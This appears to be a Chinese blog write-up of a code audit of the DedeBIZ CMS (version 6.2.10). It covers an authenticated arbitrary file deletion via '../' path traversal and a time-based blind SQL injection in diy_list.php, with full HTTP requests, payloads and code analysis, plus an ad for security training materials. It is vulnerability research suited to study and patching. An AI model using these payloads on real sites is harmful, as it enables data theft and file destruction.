之前簡單審計過DedeBIZ系統,網上還沒有對這個系統的漏洞有過詳盡的分析,于是重新審計并總結文章,記錄下自己審計的過程。
https://github.com/DedeBIZ/DedeV6/archive/refs/tags/6.2.10.zip
📌DedeBIZ 系統并非基于 MVC 框架,而是采用 靜態化與動態解析結合 的方式進行頁面處理。其“路由”主要依賴 靜態文件跳轉 和 數據庫模板解析,因此可以直接訪問 PHP 文件來觸發相應的動態解析邏輯。
我一般會首先關注對文件的操作,任意文件上傳、任意文件刪除,任意文件讀取、任意文件下載等漏洞都是我第一時間關注的重點,除了黑盒測試時關注功能點外,通過代碼審計來看的話速度會更快一點。(這里有一個小技巧,就是直接全局搜索?filename=
?,一些 js 文件中可能會包含對文件處理的操作,搜索到后就可以直接進行嘗試。)
授權任意文件刪除
GET /admin/file_manage_control.php?fmdo=del&filename=../1.txt HTTP/1.1
Host: dedev6.test
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=51t797sesf49d9oo8je5ugvjfa; dede_csrf_token=dfb0e80d4f74949ef3730a90d3f49c64; dede_csrf_token__ckMd5=554688926d285f96; DedeUserID=1; DedeUserID__ckMd5=6269166a7279678f; DedeLoginTime=1703426661; DedeLoginTime__ckMd5=7c3591094ad5f36b; DedeStUUID=22636dd1d7205; DedeStUUID__ckMd5=bae1ecb193958e0d; ENV_GOBACK_URL=%2Fadmin%2Fmychannel_main.php
Connection: close
?
src\admin\file_manage_control.php
?
src\admin\file_class.php#DeleteFile
?
該漏洞發生在 file_manage_control.php
處理 fmdo=del
請求時,由于 DeleteFile
方法直接拼接 filename
參數生成完整路徑并調用 unlink
刪除文件,缺乏路徑校驗,導致攻擊者可以構造 ../
進行目錄遍歷,刪除任意文件。通過 GET /admin/file_manage_control.php?fmdo=del&filename=../1.txt
請求,利用 filename=../1.txt
逃出受限目錄,刪除站點根目錄下的 1.txt
文件。
幫助網安學習,全套資料S信免費領取:
① 網安學習成長路徑思維導圖
② 60+網安經典常用工具包
③ 100+SRC分析報告
④ 150+網安攻防實戰技術電子書
⑤ 最權威CISSP 認證考試指南+題庫
⑥ 超1800頁CTF實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP客戶端安全檢測指南(安卓+IOS)
授權 SQL 注入
首先需要創建表單
修改添加字段信息
點擊字段發布信息
構造數據包
POST /admin/diy_list.php?action=delete&diyid=1&id[]=1)AND+sleep(5 HTTP/1.1
Host: dedev6.test
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://dedev6.test/admin/index_body.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=51t797sesf49d9oo8je5ugvjfa; dede_csrf_token=dfb0e80d4f74949ef3730a90d3f49c64; dede_csrf_token__ckMd5=554688926d285f96; DedeUserID=1; DedeUserID__ckMd5=6269166a7279678f; DedeLoginTime=1703426661; DedeLoginTime__ckMd5=7c3591094ad5f36b
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
構造 payload 1)AND+(case(1)when(ascii(substr((select(database()))from(1)for(1)))=100)then(sleep(5))else(1)end
(case(1)when(ascii(substr((select(database()))from(1)for(1)))=100)then(sleep(5))else(1)end 為 true 與查詢出的數據庫名 dedebiz 第一個字母 d 的 ascii 相符合。
為什么我們操作的時候需要那么多的前置條件呢,接下來我會詳細說明,首先我們從代碼層面查看:
src/admin/diy_list.php
對傳入的參數 數組 id 通過 , 拼接起來,最后傳參到 SQL 語句:
$query = "DELETE FROM `$diy->table` WHERE id IN ($ids)";
參數可以通過 ) 閉合,構成 SQL 注入
我們注意到:
$query = "DELETE FROM `$diy->table` WHERE id IN ($ids)";if ($dsql->ExecuteNoneQuery($query)) {showmsg('刪除成功', "diy_list.php?action=list&diyid={$diy->diyid}");} else {showmsg('刪除失敗', "diy_list.php?action=list&diyid={$diy->diyid}");}
執行的結果并不會直接返回到界面上,所以這個漏洞時一個盲注漏洞,基于盲注漏洞的特點以及執行數據庫時,如果這個表為空,那么便不會執行成功,為了使這個數據庫語句執行成功,數據庫中必須先保存有數據。
同時這個注入漏洞可以說絕無僅有:
對比代碼我們發現,就這一部分沒有對變量 id 的類型進行檢測。